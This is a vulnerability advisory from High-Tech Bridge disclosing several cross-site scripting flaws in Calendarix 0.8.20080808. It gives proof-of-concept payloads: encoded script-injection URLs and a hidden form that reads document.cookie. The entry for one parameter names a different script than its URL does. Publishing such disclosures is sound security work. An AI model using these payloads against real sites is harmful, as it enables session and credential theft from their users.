Vulnerability ID: HTB22974 Reference: http://www.htbridge.ch/advisory/multiple_xss_in_calendarix.html Product: Calendarix Vendor: http://www.calendarix.com ( http://www.calendarix.com ) Vulnerable Version: 0.8.20080808 Vendor Notification: 26 April 2011 Vulnerability Type: XSS (Cross Site Scripting) Risk level: Medium Credit: High-Tech Bridge SA Security Research Lab ( http://www.htbridge.ch/advisory/ ) Vulnerability Details: User can execute arbitrary JavaScript code within the vulnerable application. The vulnerability exists due to failure in the "/cal_login.php" script to properly sanitize user-supplied input. Successful exploitation of this vulnerability could result in a compromise of the application, theft of cookie-based authentication credentials, disclosure or modification of sensitive data. The following PoC is available: http://[host]/cal_login.php/%27%3E%3Cscript%3Ealert%28123%29;%3C/script%3E The vulnerability exists due to failure in the "/cal_catview.php" script to properly sanitize user-supplied input in "gocat" variable. The following PoC is available: <form action="http://[host]/cal_catview.php?catop=viewcat" method="post" name="main" /> <input type="hidden" name="gocat" value="'</script><script>alert(document.cookie);</script>"/> <input type="submit" value="submit"/> </form> The vulnerability exists due to failure in the "/cal_date.php" script to properly sanitize user-supplied input in "frmname" variable. The following PoC is available: http://[host]/cal_date.php?frmname=%3C/script%3E%3Cscript%3Ealert%28123%29;%3C/script%3E The vulnerability exists due to failure in the "/cal_date.php" script to properly sanitize user-supplied input in "leftfooter" variable when register_globals is on. The following PoC is available: http://[host]/cal_footer.inc.php?leftfooter=%3Cscript%3Ealert%28123%29;%3C/script%3E